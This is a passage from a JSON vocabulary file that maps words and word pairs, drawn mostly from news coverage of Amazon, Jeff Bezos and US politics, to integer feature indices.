speculates\": 36545,\n  \"exists precisely\": 36546,\n  \"midge\": 36547,\n  \"bezos relationship\": 36548,\n  \"stocks facebook\": 36549,\n  \"600bn according\": 36550,\n  \"markets plus\": 36551,\n  \"similar discussions\": 36552,\n  \"founder shared\": 36553,\n  \"junior resource\": 36554,\n  \"queens politicians\": 36555,\n  \"good holiday\": 36556,\n  \"attorney michael\": 36557,\n  \"deals today\": 36558,\n  \"declare war\": 36559,\n  \"2019 apart\": 36560,\n  \"publishes stories\": 36561,\n  \"took action\": 36562,\n  \"displeasure\": 36563,\n  \"outdated international\": 36564,\n  \"today slammed\": 36565,\n  \"summit expert\": 36566,\n  \"inquiry schiff\": 36567,\n  \"players consider\": 36568,\n  \"press area\": 36569,\n  \"furor bent\": 36570,\n  \"considered suspect\": 36571,\n  \"heat fires\": 36572,\n  \"halts growth\": 36573,\n  \"association blockchain\": 36574,\n  \"standup\": 36575,\n  \"gutted\": 36576,\n  \"words numbers\": 36577,\n  \"profiles anderson\": 36578,\n  \"distraction twitter\": 36579,\n  \"roguerivertactical\": 36580,\n  \"amazon james\": 36581,\n  \"wasp generated\": 36582,\n  \"analysts tracked\": 36583,\n  \"parliamentary elections\": 36584,\n  \"bit closer\": 36585,\n  \"1984 dystopian\": 36586,\n  \"nyse rog\": 36587,\n  \"police departments\": 36588,\n  \"ongoing conversation\": 36589,\n  \"immigration foreign\": 36590,\n  \"financial changes\": 36591,\n  \"drones taken\": 36592,\n  \"coming directly\": 36593,\n  \"moderately\": 36594,\n  \"washington engaging\": 36595,\n  \"abortion ban\": 36596,\n  \"unrivaled 043\": 36597,\n  \"midnight\": 36598,\n  \"meet resistance\": 36599,\n  \"words\": 36600,\n  \"charges customers\": 36601,\n  \"business makes\": 36602,\n  \"bezos frank\": 36603,\n  \"vintage leather\": 36604,\n  \"1983 currently\": 36605,\n  \"hinders\": 36606,\n  \"reportedly key\": 36607,\n  \"2022 amazon\": 36608,\n  \"poll\": 36609,\n  \"navarro told\": 36610,\n  \"physical pain\": 36611,\n  \"chickenpox\": 36612,\n  \"suburban pittsburgh\": 36613,\n  \"golan policy\": 36614,\n  \"dozen\": 36615,\n  \"polarized political\": 36616,\n  \"endless aisle\": 36617,\n  \"640x290 getty_173218731_200015422000928060_388160\": 36618,\n  \"lawyer paula\": 36619,\n  \"states kernen\": 36620,\n  \"rich progressive\": 36621,\n  \"taxpayer bank\": 36622,\n  \"jacinda ardern\": 36623,\n  \"amid spooky\": 36624,\n  \"sign environmental\": 36625,\n  \"beating amazon\": 36626,\n  \"showcasing maximum\": 36627,\n  \"purdue\": 36628,\n  \"nuclear missiles\": 36629,\n  \"violate civil\": 36630,\n  \"bae\": 36631,\n  \"feel alive\": 36632,\n  \"mnuchin sounded\": 36633,\n  \"hell limbo\": 36634,\n  \"apple video\": 36635,\n  \"actress aneurisms\": 36636,\n  \"billthat\": 36637,\n  \"accepting applications\": 36638,\n  \"unpublished intimate\": 36639,\n  \"rightly highlights\": 36640,\n  \"wbc wba\": 36641,\n  \"claim falls\": 36642,\n  \"deliver giant\": 36643,\n  \"crime gangs\": 36644,\n  \"broadsheets click\": 36645,\n  \"family rebuild\": 36646,\n  \"loss senior\": 36647,\n  \"allows content\": 36648,\n  \"alleged anticompetitive\": 36649,\n  \"revenue contributed\": 36650,\n  \"toronto chances\": 36651,\n  \"ryan jack\": 36652,\n  \"agency national\": 36653,\n  \"past christmas\": 36654,\n  \"senior royal\": 36655,\n  \"anti protest\": 36656,\n  \"avoid making\": 36657,\n  \"sprout capsules\": 36658,\n  \"trump kept\": 36659,\n  \"coining\": 36660,\n  \"inspirations\": 36661,\n  \"alongside ebay\": 36662,\n  \"axios broadcast\": 36663,\n  \"home president\": 36664,\n  \"amazon canada\": 36665,\n  \"giuliani joe\": 36666,\n  \"export hub\": 36667,\n  \"climb watch\": 36668,\n  \"share 2018\": 36669,\n  \"sensitive personal\": 36670,\n  \"executive amid\": 36671,\n  \"75th anniversary\": 36672,\n  \"temperament\": 36673,\n  \"varivax varicella\": 36674,\n  \"king obama\": 36675,\n  \"foresight\": 36676,\n  \"balfour\": 36677,\n  \"age old\": 36678,\n  \"wax statue\": 36679,\n  \"ethical concerns\": 36680,\n  \"trump promoted\": 36681,\n  \"slowing economy\": 36682,\n  \"bigstock photo\": 36683,\n  \"shocking allegations\": 36684,\n  \"oregon elemental\": 36685,\n  \"trump euro\": 36686,\n  \"story mackenzie\": 36687,\n  \"billionaire fran\\u00e7oise\": 36688,\n  \"book shops\": 36689,\n  \"questions cristina\": 36690,\n  \"bezos remains\": 36691,\n  \"market apple\": 36692,\n  \"minus gop\": 36693,\n  \"financial growth\": 36694,\n  \"public consent\": 36695,\n  \"old saw\": 36696,\n  \"attack fake\": 36697,\n  \"gallardo bodyguard\": 36698,\n  \"bernstein jack\": 36699,\n  \"weeks bartiromo\": 36700,\n  \"features likeness\": 36701,\n  \"levy market\": 36702,\n  \"zings\": 36703,\n  \"deciding vote\": 36704,\n  \"homecare\": 36705,\n  \"proponents\": 36706,\n  \"different primary\": 36707,\n  \"saying mccabe\": 36708,\n  \"jones newswires\": 36709,\n  \"post publication\": 36710,\n  \"john hendel\": 36711,\n  \"pubgps4\": 36712,\n  \"tide running\": 36713,\n  \"clay wertheimer\": 36714,\n  \"instructing\": 36715,\n  \"care republicans\": 36716,\n  \"phone interview\": 36717,\n  \"member linda\": 36718,\n  \"ventured\": 36719,\n  \"direct attributable\": 36720,\n  \"jeff whisked\": 36721,\n  \"proper credit\": 36722,\n  \"unapologetic\": 36723,\n  \"bezos greater\": 36724,\n  \"free day\": 36725,\n  \"focus speed\": 36726,\n  \"restocked\": 36727,\n  \"worth potentially\": 36728,\n  \"initiative continues\": 36729,\n  \"level whiffs\": 36730,\n  \"lennox upcoming\": 36731,\n  \"congratulatory cringy\": 36732,\n  \"manageable\": 36733,\n  \"email trumped\": 36734,\n  \"wild country\": 36735,\n  \"recently software\": 36736,\n  \"loathing democrats\": 36737,\n  \"mike bloomberg\": 36738,\n  \"execute\": 36739,\n  \"car breaks\": 36740,\n  \"true encana\": 36741,\n  \"label dirty\": 36742,\n  \"subscriber discounts\": 36743,\n  \"taiwan based\": 36744,\n  \"videoinstance\": 36745,\n  \"total 93million\": 36746,\n  \"washington historical\": 36747,\n  \"taxpayer identification\": 36748,\n  \"triggered\": 36749,\n  \"decades reached\": 36750,\n  \"strong operating\": 36751,\n  \"murphy called\": 36752,\n  \"virally\": 36753,\n  \"reportedly coordinated\": 36754,\n  \"ceremony\": 36755,\n  \"standing challenge\": 36756,\n  \"508\": 36757,\n  \"860\": 36758,\n  \"symbol gm\": 36759,\n  \"monopolisation case\": 36760,\n  \"facebook split\": 36761,\n  \"push initialize\": 36762,\n  \"times robert\": 36763,\n  \"criticizes amazon\": 36764,\n  \"spaceship\": 36765,\n  \"kushner banking\": 36766,\n  \"deeply distrustful\": 36767,\n  \"middle passage\": 36768,\n  \"delivery push\": 36769,\n  \"picturesque wondered\": 36770,\n  \"quarter huge\": 36771,\n  \"trolled\": 36772,\n  \"usa revoking\": 36773,\n  \"thr making\": 36774,\n  \"anticipated new\": 36775,\n  \"labor reforms\": 36776,\n  \"month option\": 36777,\n  \"mins ago\": 36778,\n  \"incomes\": 36779,\n  \"presidential management\": 36780,\n  \"delivery trucks\": 36781,\n  \"279 shares\": 36782,\n  \"steve dishart\": 36783,\n  \"conflict developing\": 36784,\n  \"video providers\": 36785,\n  \"notta\": 36786,\n  \"voice recordings\": 36787,\n  \"begun hiring\": 36788,\n  \"amidst growing\": 36789,\n  \"amazon ceo\": 36790,\n  \"attractive client\": 36791,\n  \"tuz\": 36792,\n  \"factor billionaire\": 36793,\n  \"prescribes\": 36794,\n  \"gigya sharebar\": 36795,\n  \"forte suggested\": 36796,\n  \"device technology\": 36797,\n  \"mackenzie picture\": 36798,\n  \"public political\": 36799,\n  \"nation workforce\": 36800,\n  \"scale photo\": 36801,\n  \"trump involvement\": 36802,\n  \"farming soil\": 36803,\n  \"amazon recent\": 36804,\n  \"schwan foods\": 36805,\n  \"palestine liberation\": 36806,\n  \"specialist billy\": 36807,\n  \"raise eyebrows\": 36808,\n  \"society immersed\": 36809,\n  \"c\\u00f3rdoba\": 36810,\n  \"clawed\": 36811,\n  \"henry ford\": 36812,\n  \"dumpty fell\": 36813,\n  \"self congratulatory\": 36814,\n  \"trump mask\": 36815,\n  \"challenge donald\": 36816,\n  \"updated amazon\": 36817,\n  \"visit shelters\": 36818,\n  \"democrat sen\": 36819,\n  \"muslim faith\": 36820,\n  \"yorker read\": 36821,\n  \"deforested plain\": 36822,\n  \"collaborating\": 36823,\n  \"general story\": 36824,\n  \"constant anxiety\": 36825,\n  \"course reports\": 36826,\n  \"wpix\": 36827,\n  \"runs amazon\": 36828,\n  \"consumed\": 36829,\n  \"capital spending\": 36830,\n  \"schools public\": 36831,\n  \"employment benefits\": 36832,\n  \"complicated subject\": 36833,\n  \"reporter alyssa\": 36834,\n  \"papa john\": 36835,\n  \"right coming\": 36836,\n  \"administration proposal\": 36837,\n  \"operative\": 36838,\n  \"denounce\": 36839,\n  \"138\": 36840,\n  \"town apple\": 36841,\n  \"warning triggered\": 36842,\n  \"navigate new\": 36843,\n  \"dunst\": 36844,\n  \"bookshops just\": 36845,\n  \"comedians\": 36846,\n  \"free shipping\": 36847,\n  \"create problems\": 36848,\n  \"crossroads\": 36849,\n  \"extent aws\": 36850,\n  \"redevelop\": 36851,\n  \"services giant\": 36852,\n  \"aut_name\": 36853,\n  \"mnuchin earlier\": 36854,\n  \"overall economic\": 36855,\n  \"unique asset\": 36856,\n  \"drown greek\": 36857,\n  \"commission says\": 36858,\n  \"torn\": 36859,\n  \"fed reserve\": 36860,\n  \"street politics\": 36861,\n  \"press outlets\": 36862,\n  \"affordable\": 36863,\n  \"presidential aides\": 36864,\n  \"candidates chimed\": 36865,\n  \"alligators\": 36866,\n  \"style nerd\": 36867,\n  \"gay couples\": 36868,\n  \"994 people\": 36869,\n  \"people arrested\": 36870,\n  \"unique vision\": 36871,\n  \"outlets frequently\": 36872,\n  \"chopra earlier\": 36873,\n  \"intelligence facial\": 36874,\n  \"globalist jeff\": 36875,\n  \"selloff expected\": 36876,\n  \"cents\": 36877,\n  \"early today\": 36878,\n  \"meadows told\": 36879,\n  \"bash amazon\": 36880,\n  \"cancer treatment\": 36881,\n  \"defense intelligence\": 36882,\n  \"door rebates\": 36883,\n  \"flipkart india\": 36884,\n  \"bdt\": 36885,\n  \"recurrence\": 36886,\n  \"eastern\": 36887,\n  \"urged children\": 36888,\n  \"single scoop\": 36889,\n  \"build profiles\": 36890,\n  \"majority expected\": 36891,\n  \"ceptions\": 36892,\n  \"evidence emerges\": 36893,\n  \"entity curbed\": 36894,\n  \"hq2 mailers\": 36895,\n  \"times 2018\": 36896,\n  \"forums\": 36897,\n  \"protectionist\": 36898,\n  \"apparently relying\": 36899,\n  \"company negotiating\": 36900,\n  \"duet\": 36901,\n  \"deaths means\": 36902,\n  \"create tens\": 36903,\n  \"carlos curbelo\": 36904,\n  \"company sweetheart\": 36905,\n  \"realdonaldtrump status\": 36906,\n  \"president wants\": 36907,\n  \"terror recruits\": 36908,\n  \"nocera brett\": 36909,\n  \"tax corporate\": 36910,\n  \"dramatic increase\": 36911,\n  \"actually know\": 36912,\n  \"furnishings provide\": 36913,\n  \"patty\": 36914,\n  \"orders usps\": 36915,\n  \"ibama agents\": 36916,\n  \"decision earlier\": 36917,\n  \"grow usa\": 36918,\n  \"saw anemic\": 36919,\n  \"cohen payments\": 36920,\n  \"disarming\": 36921,\n  \"asa\": 36922,\n  \"obama communications\": 36923,\n  \"tani emanuel\": 36924,\n  \"half million\": 36925,\n  \"aboard air\": 36926,\n  \"drew widespread\": 36927,\n  \"including discount\": 36928,\n  \"user members\": 36929,\n  \"149 billion\": 36930,\n  \"using instagram\": 36931,\n  \"cuts classics\": 36932,\n  \"biggest decline\": 36933,\n  \"second campus\": 36934,\n  \"hanger\": 36935,\n  \"providers concerns\": 36936,\n  \"red alabama\": 36937,\n  \"trek 2018\": 36938,\n  \"terrorist organization\": 36939,\n  \"list position\": 36940,\n  \"military threats\": 36941,\n  \"minority report\": 36942,\n  \"administration attempting\": 36943,\n  \"hugs reagan\": 36944,\n  \"trump steel\": 36945,\n  \"virginia trial\": 36946,\n  \"dhl max\": 36947,\n  \"grave concern\": 36948,\n  \"longtime bull\": 36949,\n  \"year quite\": 36950,\n  \"echo voice\": 36951,\n  \"liveable meaning\": 36952,\n  \"prior cooperation\": 36953,\n  \"fortune tv\": 36954,\n  \"core components\": 36955,\n  \"sarah palin\": 36956,\n  \"today polarized\": 36957,\n  \"shane mitchell\": 36958,\n  \"work additionally\": 36959,\n  \"electrifying debut\": 36960,\n  \"resettlement\": 36961,\n  \"executive actions\": 36962,\n  \"publicly intimidate\": 36963,\n  \"prest _sx342_ql70_\": 36964,\n  \"skift expert\": 36965,\n  \"student users\": 36966,\n  \"landing pad\": 36967,\n  \"hulu gal\": 36968,\n  \"asdourian\": 36969,\n  \"baier\": 36970,\n  \"young kim\": 36971,\n  \"computing unit\": 36972,\n  \"sales information\": 36973,\n  \"example moving\": 36974,\n  \"job loss\": 36975,\n  \"protect brands\": 36976,\n  \"decades nrf\": 36977,\n  \"el paso\": 36978,\n  \"pantomime\": 36979,\n  \"main reasons\": 36980,\n  \"checks posted\": 36981,\n  \"reported billion\": 36982,\n  \"seeking work\": 36983,\n  \"lead contaminated\": 36984,\n  \"corp faces\": 36985,\n  \"facefirst\": 36986,\n  \"news prompted\": 36987,\n  \"rodriguez explained\": 36988,\n  \"lever\": 36989,\n  \"profit growth\": 36990,\n  \"nepali\": 36991,\n  \"cap don\": 36992,\n  \"haven earned\": 36993,\n  \"celebrants\": 36994,\n  \"google sen\": 36995,\n  \"drama infighting\": 36996,\n  \"walmart think\": 36997,\n  \"prefer companies\": 36998,\n  \"luxembourg prime\": 36999,\n  \"crabb bay\": 37000,\n  \"implausible\": 37001,\n  \"offers tax\": 37002,\n  \"hannity steve\": 37003,\n  \"000 federal\": 37004,\n  \"amazon sources\": 37005,\n  \"mcconnell senator\": 37006,\n  \"maval uf\": 37007,\n  \"shrewd addition\": 37008,\n  \"school athletes\": 37009,\n  \"messaging company\": 37010,\n  \"sharply criticized\": 37011,\n  \"paying fair\": 37012,\n  \"gotenna pocket\": 37013,\n  \"pursley\": 37014,\n  \"corporate behavior\": 37015,\n  \"mile shippers\": 37016,\n  \"carry political\": 37017,\n  \"loud megaphone\": 37018,\n  \"names highlighted\": 37019,\n  \"remain deeply\": 37020,\n  \"offering rebuke\": 37021,\n  \"autostart false\": 37022,\n  \"standup special\": 37023,\n  \"deteriorates\": 37024,\n  \"coudert\": 37025,\n  \"behavior recommend\": 37026,\n  \"luck finding\": 37027,\n  \"die crazy\": 37028,\n  \"gift card\": 37029,\n  \"bolster share\": 37030,\n  \"organizations mijente\": 37031,\n  \"dead wrong\": 37032,\n  \"pete game\": 37033,\n  \"fdic lost\": 37034,\n  \"ardently\": 37035,\n  \"malicious\": 37036,\n  \"ensure longterm\": 37037,\n  \"entwined\": 37038,\n  \"gary cohn\": 37039,\n  \"netflix original\": 37040,\n  \"dubs\": 37041,\n  \"n4\": 37042,\n  \"foreign relations\": 37043,\n  \"investigating russia\": 37044,\n  \"month time\": 37045,\n  \"secret data\": 37046,\n  \"crossed\": 37047,\n  \"donald biff\": 37048,\n  \"documented 295\": 37049,\n  \"large retailers\": 37050,\n  \"workers benefit\": 37051,\n  \"international packages\": 37052,\n  \"sith\": 37053,\n  \"added perspective\": 37054,\n  \"vital claim\": 37055,\n  \"algorithms rothschild\": 37056,\n  \"absolutely stunning\": 37057,\n  \"unexpected hairy\": 37058,\n  \"breasts\": 37059,\n  \"bruce lubin\": 37060,\n  \"bite brazilian\": 37061,\n  \"lucasnolan\": 37062,\n  \"stone theory\": 37063,\n  \"priorities 2018\": 37064,\n  \"nasdaq admp\": 37065,\n  \"doesn need\": 37066,\n  \"pentagon increasingly\": 37067,\n  \"erinegloff3485 status\": 37068,\n  \"monopoly prism\": 37069,\n  \"devices hav\": 37070,\n  \"including proposed\": 37071,\n  \"billion columbus\": 37072,\n  \"builds\": 37073,\n  \"slaves fox\": 37074,\n  \"arnold russia\": 37075,\n  \"buyer rates\": 37076,\n  \"sanchez gavin\": 37077,\n  \"bezos spends\": 37078,\n  \"raccoons\": 37079,\n  \"conflict\": 37080,\n  \"mentors\": 37081,\n  \"american citizens\": 37082,\n  \"greedy plutocrats\": 37083,\n  \"expected fed\": 37084,\n  \"listed florida\": 37085,\n  \"arctic\": 37086,\n  \"long news\": 37087,\n  \"apple supply\": 37088,\n  \"university student\": 37089,\n  \"faster delivery\": 37090,\n  \"despite officials\": 37091,\n  \"enquirer controversy\": 37092,\n  \"just named\": 37093,\n  \"timothy geithner\": 37094,\n  \"needed fixing\": 37095,\n  \"law american\": 37096,\n  \"day share\": 37097,\n  \"dafoe\": 37098,\n  \"motivated embedded\": 37099,\n  \"alzheimers institute\": 37100,\n  \"past eastern\": 37101,\n  \"lung tissue\": 37102,\n  \"negotiate trade\": 37103,\n  \"zlehp49ops\": 37104,\n  \"perfect new\": 37105,\n  \"privacy bias\": 37106,\n  \"fortune points\": 37107,\n  \"million residents\": 37108,\n  \"meester gossip\": 37109,\n  \"new role\": 37110,\n  \"pubg_mobile pubg\\u52df\\u96c6\": 37111,\n  \"microsoft reddit\": 37112,\n  \"growth equals\": 37113,\n  \"ceo political\": 37114,\n  \"dijk toronto\": 37115,\n  \"study concluded\": 37116,\n  \"standard parsec\": 37117,\n  \"nasa adobe\": 37118,\n  \"stoppage wasn\": 37119,\n  \"road big\": 37120,\n  \"focused business\": 37121,\n  \"act impartially\": 37122,\n  \"development stock\": 37123,\n  \"verystrange\": 37124,\n  \"time 100\": 37125,\n  \"divide new\": 37126,\n  \"hidden city\": 37127,\n  \"spavor\": 37128,\n  \"russell 2000\": 37129,\n  \"icelandic airline\": 37130,\n  \"175 words\": 37131,\n  \"personal lives\": 37132,\n  \"steve mnuchin\": 37133,\n  \"performer sanchez\": 37134,\n  \"reaching 1814\": 37135,\n  \"car keys\": 37136,\n  \"frequently featured\": 37137,\n  \"removeattr\": 37138,\n  \"technology war\": 37139,\n  \"statement read\": 37140,\n  \"folks time\": 37141,\n  \"remove age\": 37142,\n  \"working long\": 37143,\n  \"gore vidal\": 37144,\n  \"fe school\": 37145,\n  \"1977 ivana\": 37146,\n  \"commerce growth\": 37147,\n  \"rocker\": 37148,\n  \"increasing tariffs\": 37149,\n  \"caraga philippine\": 37150,\n  \"language alison\": 37151,\n  \"sprinkling\": 37152,\n  \"charges lola\": 37153,\n  \"tim weiner\": 37154,\n  \"judges hid\": 37155,\n  \"internationally jobs\": 37156,\n  \"desired 7b\": 37157,\n  \"city assembly\": 37158,\n  \"boss jeff\": 37159,\n  \"tiger parts\": 37160,\n  \"rendezvoused\": 37161,\n  \"hiking prices\": 37162,\n  \"hour starting\": 37163,\n  \"actual possibility\": 37164,\n  \"occasionally spotted\": 37165,\n  \"park\": 37166,\n  \"accrued\": 37167,\n  \"nation postal\": 37168,\n  \"reason boosted\": 37169,\n  \"vz oath\": 37170,\n  \"shanay bolden\": 37171,\n  \"million 2013\": 37172,\n  \"kurt bardella\": 37173,\n  \"cbre toronto\": 37174,\n  \"hypothesize\": 37175,\n  \"make stance\": 37176,\n  \"17608448011 pf_rd_m\": 37177,\n  \"famously did\": 37178,\n  \"2018 pop\": 37179,\n  \"lingerie\": 37180,\n  \"john trumpfamily\": 37181,\n  \"vcs\": 37182,\n  \"curbing amazon\": 37183,\n  \"quill corp\": 37184,\n  \"gradually increasing\": 37185,\n  \"agreed nce\": 37186,\n  \"drags\": 37187,\n  \"criticizing amazon\": 37188,\n  \"rece\": 37189,\n  \"usually quite\": 37190,\n  \"fun true\": 37191,\n  \"travel entrepreneur\": 37192,\n  \"step oflikely\": 37193,\n  \"new startup\": 37194,\n  \"initial national\": 37195,\n  \"conservative organizations\": 37196,\n  \"chief digital\": 37197,\n  \"2100 gmt\": 37198,\n  \"employee office\": 37199,\n  \"bootleg\": 37200,\n  \"hard won\": 37201,\n  \"uncovered makan\": 37202,\n  \"child sacrifice\": 37203,\n  \"suburbanites\": 37204,\n  \"lightning project\": 37205,\n  \"google cloud\": 37206,\n  \"states jeffbozo\": 37207,\n  \"picked greene\": 37208,\n  \"drama washington\": 37209,\n  \"gleefully\": 37210,\n  \"sourceamazon published\": 37211,\n  \"high mark\": 37212,\n  \"frandsen muhlissa_ann\": 37213,\n  \"recommends series\": 37214,\n  \"reportedly refused\": 37215,\n  \"fledgling commerce\": 37216,\n  \"biogen mgen\": 37217,\n  \"feed utm_campaign\": 37218,\n  \"rosen niki\": 37219,\n  \"stock rises\": 37220,\n  \"sellers know\": 37221,\n  \"hairy sock\": 37222,\n  \"republican donations\": 37223,\n  \"started sounding\": 37224,\n  \"epa spokeswoman\": 37225,\n  \"massive outlay\": 37226,\n  \"execute yes\": 37227,\n  \"conference tickets\": 37228,\n  \"did market\": 37229,\n  \"sessions did\": 37230,\n  \"quarles scrutiny\": 37231,\n  \"studios\": 37232,\n  \"pg amazon\": 37233,\n  \"monica lewinsky\": 37234,\n  \"interference\": 37235,\n  \"alipay example\": 37236,\n  \"xml version\": 37237,\n  \"giving investors\": 37238,\n  \"market advice\": 37239,\n  \"robert viglasky\": 37240,\n  \"false kickertext\": 37241,\n  \"modern world\": 37242,\n  \"laguna\": 37243,\n  \"fy18 annual\": 37244,\n  \"turkey\": 37245,\n  \"spaces companies\": 37246,\n  \"american ancestry\": 37247,\n  \"swearier\": 37248,\n  \"npa amazon\": 37249,\n  \"perp\": 37250,\n  \"combined 780\": 37251,\n  \"monies generated\": 37252,\n  \"ajit pai\": 37253,\n  \"354 points\": 37254,\n  \"000 worker\": 37255,\n  \"lima ohio\": 37256,\n  \"unionization nyt\": 37257,\n  \"country according\": 37258,\n  \"economic theorist\": 37259,\n  \"oncology\": 37260,\n  \"scented\": 37261,\n  \"beautifully crafted\": 37262,\n  \"surmised\": 37263,\n  \"inv\": 37264,\n  \"nick\": 37265,\n  \"month trump\": 37266,\n  \"snead nyt\": 37267,\n  \"basic fairness\": 37268,\n  \"google niet\": 37269,\n  \"casualties\": 37270,\n  \"isn carrying\": 37271,\n  \"garish\": 37272,\n  \"presents number\": 37273,\n  \"confederate soldiers\": 37274,\n  \"efficiency\": 37275,\n  \"oracle complete\": 37276,\n  \"subscription\": 37277,\n  \"orellana\": 37278,\n  \"claws\": 37279,\n  \"mccain baseball\": 37280,\n  \"asked federal\": 37281,\n  \"117 billion\": 37282,\n  \"secretary wilbur\": 37283,\n  \"cleo played\": 37284,\n  \"paid sufficient\": 37285,\n  \"facing accusations\": 37286,\n  \"capital construction\": 37287,\n  \"omnicom media\": 37288,\n  \"raymond obstfeld\": 37289,\n  \"ra studio\": 37290,\n  \"unbelievable account\": 37291,\n  \"house oversight\": 37292,\n  \"cable ties\": 37293,\n  \"damon lanphear\": 37294,\n  \"columnist peggy\": 37295,\n  \"citing cooperation\": 37296,\n  \"long movie\": 37297,\n  \"circles microsoft\": 37298,\n  \"customs procedures\": 37299,\n  \"people zinke\": 37300,\n  \"insiders told\": 37301,\n  \"1modrbhhoanbrvskixwtgzuz0cwxvtijnzeiftlvzvuq\": 37302,\n  \"source radio\": 37303,\n  \"america europe\": 37304,\n  \"rethinks\": 37305,\n  \"think trump\": 37306,\n  \"possible way\": 37307,\n  \"firster\": 37308,\n  \"branded rekognition\": 37309,\n  \"cedes critical\": 37310,\n  \"enables\": 37311,\n  \"factory buying\": 37312,\n  \"fair distribution\": 37313,\n  \"site critical\": 37314,\n  \"horror\": 37315,\n  \"recode talked\": 37316,\n  \"major problem\": 37317,\n  \"soggy papers\": 37318,\n  \"equal\": 37319,\n  \"amazon thought\": 37320,\n  \"america south\": 37321,\n  \"providing encouragement\": 37322,\n  \"frequent visits\": 37323,\n  \"applebaum president\": 37324,\n  \"mckesson\": 37325,\n  \"story tall\": 37326,\n  \"945 shares\": 37327,\n  \"requiring abortion\": 37328,\n  \"warehouses eduardo\": 37329,\n  \"prime favorite\": 37330,\n  \"politically incorrect\": 37331,\n  \"rush wanted\": 37332,\n  \"amazon planned\": 37333,\n  \"date set\": 37334,\n  \"new markets\": 37335,\n  \"soft spoken\": 37336,\n  \"unseat ocasio\": 37337,\n  \"ongoing systematic\": 37338,\n  \"global cloud\": 37339,\n  \"helipad brian\": 37340,\n  \"fix centralized\": 37341,\n  \"clinton administration\": 37342,\n  \"spree\": 37343,\n  \"new fee\": 37344,\n  \"var s8i\": 37345,\n  \"party apps\": 37346,\n  \"hachette cut\": 37347,\n  \"discrimination tech\": 37348,\n  \"independent courier\": 37349,\n  \"fox death\": 37350,\n  \"company warehouses\": 37351,\n  \"cat gouda\": 37352,\n  \"t000002774\": 37353,\n  \"relatively obscure\": 37354,\n  \"newsstand company\": 37355,\n  \"network\": 37356,\n  \"cadaver\": 37357,\n  \"washed\": 37358,\n  \"immigrant rhetoric\": 37359,\n  \"internal financial\": 37360,\n  \"viral casone\": 37361,\n  \"doubled revenue\": 37362,\n  \"educated trial\": 37363,\n  \"rotary\": 37364,\n  \"ny1politics\": 37365,\n  \"fresh news\": 37366,\n  \"amazon tweeting\": 37367,\n  \"crash investigation\": 37368,\n  \"uniform application\": 37369,\n  \"sheryl sandberg\": 37370,\n  \"strategies plus\": 37371,\n  \"hotspots\": 37372,\n  \"virginia politico\": 37373,\n  \"quickly rebounded\": 37374,\n  \"enforcement issue\": 37375,\n  \"reflect events\": 37376,\n  \"live fact\": 37377,\n  \"foul play\": 37378,\n  \"thousand\": 37379,\n  \"consent matters\": 37380,\n  \"american businessman\": 37381,\n  \"memphis tennessee\": 37382,\n  \"wants government\": 37383,\n  \"retail pharmacy\": 37384,\n  \"amazon stuff\": 37385,\n  \"anti busing\": 37386,\n  \"fossils\": 37387,\n  \"cain\": 37388,\n  \"americans prefer\": 37389,\n  \"better postscript\": 37390,\n  \"atlantic elizabeth\": 37391,\n  \"security reasons\": 37392,\n  \"particular sentence\": 37393,\n  \"mccabe says\": 37394,\n  \"trump proposed\": 37395,\n  \"jeffery preston\": 37396,\n  \"deputy majority\": 37397,\n  \"face financial\": 37398,\n  \"wltz staff\": 37399,\n  \"experts\": 37400,\n  \"consumers entrepreneurs\": 37401,\n  \"thumbimageelem null\": 37402,\n  \"week alongside\": 37403,\n  \"economy bolted\": 37404,\n  \"workout\": 37405,\n  \"dramatic admission\": 37406,\n  \"defense contractor\": 37407,\n  \"joining cjr\": 37408,\n  \"methods finds\": 37409,\n  \"normal market\": 37410,\n  \"large image\": 37411,\n  \"answer dozens\": 37412,\n  \"arrest orioles\": 37413,\n  \"21m\": 37414,\n  \"man paid\": 37415,\n  \"sma facebook\": 37416,\n  \"oncologists note\": 37417,\n  \"championship pumpkin\": 37418,\n  \"poor offers\": 37419,\n  \"quirky life\": 37420,\n  \"insightful\": 37421,\n  \"brexit deadline\": 37422,\n  \"launch censored\": 37423,\n  \"aclu\": 37424,\n  \"delivering fresh\": 37425,\n  \"really invest\": 37426,\n  \"sterkste verlagingen\": 37427,\n  \"officials collaborated\": 37428,\n  \"money transfer\": 37429,\n  \"siren song\": 37430,\n  \"yelp regions\": 37431,\n  \"quiet criticism\": 37432,\n  \"actual raise\": 37433,\n  \"2018 closure\": 37434,\n  \"kim frustration\": 37435,\n  \"offthe\": 37436,\n  \"persecuting\": 37437,\n  \"clear complexion\": 37438,\n  \"unleashed\": 37439,\n  \"wage gain\": 37440,\n  \"succeeded\": 37441,\n  \"extremely difficult\": 37442,\n  \"meddling goldman\": 37443,\n  \"magnificent\": 37444,\n  \"upholding\": 37445,\n  \"rohrwacher rohrwacher\": 37446,\n  \"socks brendan\": 37447,\n  \"increasingly relying\": 37448,\n  \"online portals\": 37449,\n  \"crown hill\": 37450,\n  \"stone claimed\": 37451,\n  \"amazon rarely\": 37452,\n  \"puget sound\": 37453,\n  \"related logo\": 37454,\n  \"provide financial\": 37455,\n  \"week today\": 37456,\n  \"brandinglink brandingimageurl\": 37457,\n  \"various subsidiary\": 37458,\n  \"harrison\": 37459,\n  \"garamendi california\": 37460,\n  \"hostile activity\": 37461,\n  \"750 million\": 37462,\n  \"salary increases\": 37463,\n  \"amazon portal\": 37464,\n  \"facing antitrust\": 37465,\n  \"drug business\": 37466,\n  \"predict economic\": 37467,\n  \"800 features\": 37468,\n  \"host told\": 37469,\n  \"benefits crony\": 37470,\n  \"storing data\": 37471,\n  \"west bezos\": 37472,\n  \"largest holding\": 37473,\n  \"cigars seasoned\": 37474,\n  \"action taken\": 37475,\n  \"excellent firm\": 37476,\n  \"theory mean\": 37477,\n  \"krasinski plays\": 37478,\n  \"published explicit\": 37479,\n  \"institution metropolitan\": 37480,\n  \"military force\": 37481,\n  \"pensions presidential\": 37482,\n  \"bezos elaborated\": 37483,\n  \"enquirer ties\": 37484,\n  \"enquirer spent\": 37485,\n  \"basketball follow\": 37486,\n  \"google white\": 37487,\n  \"disruption amazon\": 37488,\n  \"sagging amid\": 37489,\n  \"profitability second\": 37490,\n  \"brin\": 37491,\n  \"action crude\": 37492,\n  \"officials reach\": 37493,\n  \"mike rothschild\": 37494,\n  \"amzn saw\": 37495,\n  \"explain\": 37496,\n  \"trillion earlier\": 37497,\n  \"final deal\": 37498,\n  \"qid 1530798028\": 37499,\n  \"null img_bucketref\": 37500,\n  \"algorithmically generated\": 37501,\n  \"aroused howls\": 37502,\n  \"endecia\": 37503,\n  \"customer sentiments\": 37504,\n  \"authorities investigating\": 37505,\n  \"covering amazon\": 37506,\n  \"stinging privately\": 37507,\n  